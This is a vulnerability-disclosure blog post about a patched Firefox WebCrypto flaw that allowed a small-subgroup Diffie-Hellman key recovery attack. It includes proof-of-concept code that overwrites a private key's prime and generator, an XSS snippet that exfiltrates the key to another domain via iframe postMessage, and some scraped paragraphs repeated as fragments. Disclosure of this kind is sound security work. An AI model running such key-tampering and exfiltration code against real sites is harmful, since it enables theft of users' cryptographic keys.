tl;dr Mozilla Firefox prior to version 72 suffers from Small Subgroups Key Recovery Attack on DH in the WebCrypto's API. The Firefox's team fixed the issue removing completely support for DH over finite fields (that is not in the WebCrypto standard). If you find this interesting read further below.

Premise

Introduction

The Web Cryptography API is a specification that describes a JavaScript API for performing basic cryptographic operations in web applications. This was always a controversial topic between people in the crypto arena and you can read some eminent opinion in the wild e.g. :

Said that this post is not about the usefulness of WebCrypto so I'll spare you my opinion on the topic :p

WebCrypto API

Ok you might say, now we have three paragraphs about WebCrypto but how is this looking like? Luckily the good diafygi comes to the rescue with a full page of examples





WebCrypto API Live table





So how can I encrypt a message using WebCrypto API? Here is an example from that page:

Being sufficiently large (at least 2048 bits in 2019) Being p the prime number chosen p-1 needs to be not smooth (again refer to my previous 2 posts for more details 1,2). Many primes in the specifications are so called safe primes in order to meet the non smoothness requirement. Now let's assume a website implement the scenario depicted above with a safe prime taken from some IETF specification and let's also assume an attacker was able to gain some XSS privilege in this website. The following snippet shows how the attacker will be able to recover the private key using the Small Subgroups Key Recovery Attack (I am a biiiiiiit lazy and I extracted only the key modulo 5, a full attack would use several prime numbers and then OpenSSL blog post).

The vulnerable code is the one at line 7 and line 8 :

const MALICIOUS_PRIME = new Uint8Array([129,0,0,0,0,0,0,0,0,0,0,0,0,0,0,17]);

// this generator has order 5 const MALICIOUS_GENERATOR = new Uint8Array([46,35,147,92,93,21,176,170,70,144,93,164,112,85,178,126]); privateKey.algorithm.prime = MALICIOUS_PRIME;

privateKey.algorithm.generator = MALICIOUS_GENERATOR;

Let me explain, what the attacker achieved here was to:

Craft a malicious prime number (the prime number used in this example is 171470411456254147604591110776164450321 that has p-1 equals to 2^4 * 5 * 23 * 2082757 * 744748579247 * 60079053324863537 (so it is kind of smooth) Forge a malicious generator (in this example I used a generator of order 5 , see also the p-1 above) Redefine the generator and the prime associated with the existing private key!!!! (THIS IS THE REAL BUG) Repeat this with many prime numbers/generators Use CRT to recover the full private key Well that's about it. Luckily as the telemetry data showed this API (but the WebCrypto API in general is not really used/popular) so Firefox could safely remove completely this non standard API rather than fix the bug .

Demo Time You can find a simple demo at alert() with the extracted private key modulo 5. As said I was a lazy to implement the full attack (sorry :( ) but I hope you got the point. As a bonus point though I added some little snippet on how an attacker could exfiltrate the key using postMessage:

//XSS starts here

//exfiltrate the privateKey through postMessage

//the attacker receiver domanin can of course be different

var ifr = document.createElement("iframe")

ifr.src = "https://asanso.github.io/firefox/receiver.html"

ifr.id = "frm";

document.body.appendChild(ifr);

var frm = document.getElementById('frm').contentWindow;

frm.postMessage(kpE.privateKey,"https://asanso.github.io/firefox/receiver.html");

The fix site compatibility note As a fix Firefox Security team decide to remove support for DH from WebCrypto API entirely (you can find the here ), but not before adding telemetry for DH use in WebCrypto API . As a result starting with Firefox version 72 DH WebCrypto is not anymore shipped/supported. Disclosure timeline 27-06-2018 - Reported the issue via bugzilla:

28-06-2018 - Firefox security team confirmed the vulnerability (setting impact to Moderate)

28-03-2019 - Bug 1539578: Add telemetry for DH use in WebCrypto API was created was created

28-10-2019 - Bug 1564509: Remove support for DH from WebCrypto API (not in spec) was created

07-01-2020 - Firefox 72 containing the fix was released



Acknowledgement Now let's assume a website implement the scenario depicted above with ataken from some IETF specification and let's also assume an attacker was able to gain somein this website. The following snippet shows how the attacker will be able to recover the private key using the(I am a biiiiiiit lazy and I extracted only the key modulo 5, a full attack would use several prime numbers and then Chinese Remainder Theorem- CRT to recover the full key, again you can find full explanation in my previous).The vulnerable code is the one atandLet me explain, what the attacker achieved here was to:You can find a simple demo at https://asanso.github.io/firefox/victim.html . It simply does anwith the extracted. As said I was a lazy to implement the full attack (sorry :( ) but I hope you got the point. As a bonus point though I added some little snippet on how an attacker could exfiltrate the key usingReported the issue via bugzilla: Bug 1471684 Firefox security team confirmed the vulnerability (setting impact towas createdFirefox 72 containing the fix was released

I would like to thank Franziskus Kiefer and all the Firefox Security team, as usual you rock!

That's all folks! For more Crypto stuff follow me on Twitter.







